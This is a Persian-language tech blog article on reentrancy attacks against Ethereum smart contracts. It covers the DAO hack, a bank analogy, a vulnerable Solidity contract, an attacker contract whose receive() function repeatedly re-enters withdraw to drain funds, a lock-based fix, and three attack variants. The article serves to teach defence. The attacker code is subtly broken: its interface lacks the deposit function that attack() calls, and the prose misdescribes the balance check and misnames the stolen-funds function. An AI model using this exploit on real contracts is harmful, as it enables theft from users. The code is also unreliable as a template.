خبر و ترفند روز

خبر و ترفند های روز را اینجا بخوانید!

حمله مجدد چیست و چگونه کار می کند؟

یکی از رایج‌ترین هک‌های قرارداد هوشمند که برای شرکت‌های وب 3 میلیون‌ها هزینه دارد، چگونه اتفاق می‌افتد.

برخی از بزرگ‌ترین هک‌ها در صنعت بلاک چین، که در آن‌ها میلیون‌ها دلار توکن ارزهای دیجیتال به سرقت رفت، ناشی از حملات ورود مجدد است. در حالی که این هک‌ها در سال‌های اخیر کمتر رایج شده‌اند، هنوز هم تهدیدی قابل توجه برای برنامه‌های بلاک چین و کاربران هستند.

بنابراین دقیقاً حملات بازگشت مجدد چیست؟ آنها چگونه مستقر شده اند؟ و آیا تمهیداتی وجود دارد که توسعه دهندگان می توانند برای جلوگیری از وقوع آنها انجام دهند؟

حمله بازگشت مجدد چیست؟

حمله ورود مجدد زمانی اتفاق می‌افتد که یک تابع قرارداد هوشمند آسیب‌پذیر یک تماس خارجی با یک قرارداد مخرب برقرار می‌کند و به طور موقت کنترل جریان تراکنش را رها می‌کند. سپس قرارداد مخرب به طور مکرر تابع قرارداد هوشمند اصلی را قبل از پایان اجرا و در عین حال تخلیه وجوه خود فراخوانی می کند.

اساساً، تراکنش برداشت در بلاک چین اتریوم یک چرخه سه مرحله ای را دنبال می کند: تأیید موجودی، حواله و به روز رسانی موجودی. اگر یک مجرم سایبری بتواند قبل از به‌روزرسانی موجودی این چرخه را ربوده باشد، می‌تواند به طور مکرر وجوه را برداشت کند تا زمانی که کیف پول خالی شود.

تصویری از حمله مجدد DAO

یکی از بدنام ترین هک های بلاک چین، هک اتریوم DAO، که توسط Coindesk پوشش داده شده است، یک حمله با ورود مجدد بود که منجر به از دست دادن بیش از 60 میلیون دلار از Eth شد و به طور اساسی مسیر دومین ارز دیجیتال بزرگ را تغییر داد.

حمله مجدد چگونه کار می کند؟

بانکی را در شهر خود تصور کنید که مردم محلی با فضیلت پول خود را در آن نگهداری می کنند. کل نقدینگی آن یک میلیون دلار است. با این حال، بانک یک سیستم حسابداری معیوب دارد – کارکنان تا عصر منتظر می مانند تا موجودی بانک را به روز کنند.

دوست سرمایه گذار شما از شهر بازدید می کند و نقص حسابداری را کشف می کند. او یک حساب ایجاد می کند و 100000 دلار واریز می کند. یک روز بعد، او 100000 دلار برداشت می کند. پس از یک ساعت، او تلاش دیگری برای برداشت 100000 دلار انجام می دهد. از آنجایی که بانک موجودی وی را به روز نکرده است، هنوز 100000 دلار می خواند. بنابراین او پول می گیرد. او این کار را بارها و بارها انجام می دهد تا زمانی که پولی باقی نماند. کارکنان فقط زمانی متوجه می شوند که پولی در کار نیست.

در چارچوب یک قرارداد هوشمند، فرآیند به شرح زیر است:

  1. یک مجرم سایبری یک قرارداد هوشمند “X” را با یک آسیب پذیری شناسایی می کند.
  2. مهاجم یک تراکنش قانونی را به قرارداد هدف، X، برای ارسال وجوه به یک قرارداد مخرب، “Y” آغاز می کند. در حین اجرا، Y تابع آسیب پذیر را در X فراخوانی می کند.
  3. اجرای قرارداد X متوقف می شود یا به تعویق می افتد زیرا قرارداد منتظر تعامل با رویداد خارجی است.
  4. در حالی که اجرا متوقف می شود، مهاجم بارها و بارها همان تابع آسیب پذیر را در X فراخوانی می کند و دوباره تا آنجا که ممکن است اجرای آن را آغاز می کند.
  5. با هر بار ورود مجدد، وضعیت قرارداد دستکاری می شود و به مهاجم اجازه می دهد وجوه خود را از X به Y تخلیه کند.
  6. پس از اتمام بودجه، ورود مجدد متوقف می شود، اجرای تاخیری X در نهایت تکمیل می شود و وضعیت قرارداد بر اساس آخرین ورود مجدد به روز می شود.
مطلب مرتبط:   Bitwarden در مقابل 1Password: کدام بهتر است؟

به طور کلی، مهاجم با موفقیت از آسیب پذیری ورود مجدد به نفع خود سوء استفاده می کند و وجوه قرارداد را می دزدد.

نمونه ای از حمله بازگشت مجدد

بنابراین دقیقاً چگونه ممکن است یک حمله مجدد ورود مجدد از نظر فنی هنگام استقرار رخ دهد؟ در اینجا یک قرارداد هوشمند فرضی با دروازه ورود مجدد است. ما از نامگذاری بدیهی استفاده می کنیم تا دنبال کردن آن آسان تر شود.

// Vulnerable contract with a reentrancy vulnerability

pragma solidity ^0.8.0;

contract VulnerableContract {
    mapping(address => uint256) private balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(amount <= balances[msg.sender], "Insufficient balance");
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= amount;
    }
}

VulnerableContract به کاربران این امکان را می دهد که با استفاده از تابع سپرده، eth را در قرارداد واریز کنند. سپس کاربران می توانند با استفاده از تابع برداشت، مبلغ واریز شده خود را برداشت کنند. با این حال، یک آسیب پذیری ورود مجدد در تابع برداشت وجود دارد. هنگامی که یک کاربر انصراف می دهد، قرارداد مبلغ درخواستی را قبل از به روز رسانی موجودی به آدرس کاربر منتقل می کند و فرصتی را برای مهاجم ایجاد می کند تا از آن سوء استفاده کند.

حالا، این است که قرارداد هوشمند یک مهاجم چگونه خواهد بود.

// Attacker's contract to exploit the reentrancy vulnerability

pragma solidity ^0.8.0;

interface VulnerableContractInterface {
    function withdraw(uint256 amount) external;
}

contract AttackerContract {
    VulnerableContractInterface private vulnerableContract;
    address private targetAddress;

    constructor(address _vulnerableContractAddress) {
        vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
        targetAddress = msg.sender;
    }

    // Function to trigger the attack
    function attack() public payable {
        // Deposit some ether to the vulnerable contract
        vulnerableContract.deposit{value: msg.value}();

        // Call the vulnerable contract's withdraw function
        vulnerableContract.withdraw(msg.value);
    }

    // Receive function to receive funds from the vulnerable contract
    receive() external payable {
        if (address(vulnerableContract).balance >= 1 ether) {
            // Reenter the vulnerable contract's withdraw function
            vulnerableContract.withdraw(1 ether);
        }
    }

    // Function to steal the funds from the vulnerable contract
    function withdrawStolenFunds() public {
        require(msg.sender == targetAddress, "Unauthorized");
        (bool success, ) = targetAddress.call{value: address(this).balance}("");
        require(success, "Transfer failed");
    }
}

هنگامی که حمله آغاز می شود:

  1. AttackerContract آدرس VulnerableContract را در سازنده خود می گیرد و آن را در متغیر vulnerableContract ذخیره می کند.
  2. تابع حمله توسط مهاجم فراخوانی می شود و مقداری eth را با استفاده از تابع سپرده به VulnerableContract واریز می کند و سپس بلافاصله تابع برداشت VulnerableContract را فراخوانی می کند.
  3. تابع برداشت در VulnerableContract مقدار eth درخواستی را قبل از به‌روزرسانی موجودی به AttackerContract مهاجم منتقل می‌کند، اما از آنجایی که قرارداد مهاجم در طول تماس خارجی متوقف می‌شود، عملکرد هنوز کامل نشده است.
  4. تابع دریافت در AttackerContract راه اندازی می شود زیرا VulnerableContract در طول تماس خارجی، eth را به این قرارداد ارسال می کند.
  5. تابع دریافت بررسی می کند که آیا موجودی AttackerContract حداقل 1 اتر (مقدار برداشت) است یا خیر، سپس با فراخوانی مجدد تابع برداشت، دوباره وارد VulnerableContract می شود.
  6. مراحل 3 تا 5 تکرار می شود تا زمانی که مبلغ قرارداد آسیب پذیر تمام شود و قرارداد مهاجم مقدار قابل توجهی از Eth را جمع کند.
  7. در نهایت، مهاجم می تواند تابع removeStolenFunds را در AttackerContract فراخوانی کند تا تمام وجوه جمع شده در قرارداد خود را بدزدد.
مطلب مرتبط:   آیا TikTok در ایالات متحده ممنوع است؟

بسته به عملکرد شبکه، حمله می تواند بسیار سریع اتفاق بیفتد. هنگامی که شامل قراردادهای هوشمند پیچیده مانند هک DAO، که منجر به هارد فورک اتریوم به اتریوم و اتریوم کلاسیک می شود، حمله طی چند ساعت انجام می شود.

نحوه جلوگیری از حمله مجدد

برای جلوگیری از حمله ورود مجدد، باید قرارداد هوشمند آسیب‌پذیر را اصلاح کنیم تا از بهترین شیوه‌ها برای توسعه قرارداد هوشمند ایمن پیروی کنیم. در این صورت باید الگوی «بررسی‌ها-اثرات-تعامل‌ها» را مانند کد زیر پیاده‌سازی کنیم.

// Secure contract with the "checks-effects-interactions" pattern

pragma solidity ^0.8.0;

contract SecureContract {
    mapping(address => uint256) private balances;
    mapping(address => bool) private isLocked;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(amount <= balances[msg.sender], "Insufficient balance");
        require(!isLocked[msg.sender], "Withdrawal in progress");
        
        // Lock the sender's account to prevent reentrancy
        isLocked[msg.sender] = true;

        // Perform the state change
        balances[msg.sender] -= amount;

        // Interact with the external contract after the state change
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // Unlock the sender's account
        isLocked[msg.sender] = false;
    }
}

در این نسخه ثابت، ما یک نقشه isLocked را برای ردیابی اینکه آیا یک حساب خاص در حال برداشت است یا خیر، معرفی کرده ایم. هنگامی که کاربر شروع به برداشت می کند، قرارداد بررسی می کند که آیا حساب او قفل شده است (!isLocked[msg.sender])، که نشان می دهد هیچ برداشت دیگری از همان حساب در حال حاضر در حال انجام نیست.

مطلب مرتبط:   7 توکن برتر حاکمیتی در کریپتو

اگر حساب قفل نشده باشد، قرارداد با تغییر حالت و تعامل خارجی ادامه می یابد. پس از تغییر حالت و تعامل خارجی، قفل حساب دوباره باز می شود و امکان برداشت در آینده را فراهم می کند.

انواع حملات بازگشت مجدد

شخصی که کیف پول چرمی قهوه ای و سکه اتریوم در دست دارد

به طور کلی، سه نوع اصلی از حملات بازگشت مجدد بر اساس ماهیت بهره برداری آنها وجود دارد.

  1. حمله با ورود مجدد منفرد: در این مورد، عملکرد آسیب پذیری که مهاجم به طور مکرر آن را فراخوانی می کند، همان تابعی است که به دروازه ورود مجدد حساس است. حمله بالا نمونه‌ای از یک حمله با ورود مجدد است که با اجرای بررسی‌های مناسب و قفل کردن کد به راحتی می‌توان از آن جلوگیری کرد.
  2. حمله متقابل: در این سناریو، یک مهاجم از یک تابع آسیب‌پذیر برای فراخوانی یک تابع متفاوت در همان قرارداد استفاده می‌کند که یک حالت مشترک با آسیب‌پذیر دارد. تابع دوم که توسط مهاجم فراخوانی می شود، تأثیر مطلوبی دارد و آن را برای بهره برداری جذاب تر می کند. این حمله پیچیده‌تر و تشخیص آن سخت‌تر است، بنابراین برای کاهش آن، بررسی‌ها و قفل‌های دقیق در عملکردهای به هم پیوسته مورد نیاز است.
  3. حمله قراردادی متقابل: این حمله زمانی رخ می دهد که یک قرارداد خارجی با یک قرارداد آسیب پذیر تعامل داشته باشد. در طول این تعامل، وضعیت قرارداد آسیب‌پذیر قبل از به‌روزرسانی کامل در قرارداد خارجی فراخوانی می‌شود. معمولاً زمانی اتفاق می‌افتد که چندین قرارداد یک متغیر را به اشتراک بگذارند و برخی متغیر مشترک را به‌طور ناامن به‌روزرسانی کنند. پروتکل های ارتباطی ایمن بین قراردادها و ممیزی قراردادهای هوشمند دوره ای باید برای کاهش این حمله اجرا شوند.

حملات بازگشت مجدد می توانند به اشکال مختلف ظاهر شوند و بنابراین برای جلوگیری از هر کدام به اقدامات خاصی نیاز دارند.

ایمن ماندن از حملات بازگشت مجدد

حملات ورود مجدد باعث خسارات مالی قابل توجهی شده و اعتماد به برنامه های بلاک چین را تضعیف کرده است. برای محافظت از قراردادها، توسعه دهندگان باید بهترین شیوه ها را با جدیت اتخاذ کنند تا از آسیب پذیری های ورود مجدد جلوگیری کنند.

آنها همچنین باید الگوهای برداشت ایمن را پیاده سازی کنند، از کتابخانه های قابل اعتماد استفاده کنند و ممیزی های کامل را برای تقویت بیشتر دفاع قرارداد هوشمند انجام دهند. البته، آگاه ماندن در مورد تهدیدات نوظهور و فعال بودن با تلاش‌های امنیتی می‌تواند تضمین کند که آنها از یکپارچگی اکوسیستم‌های بلاک چین نیز حمایت می‌کنند.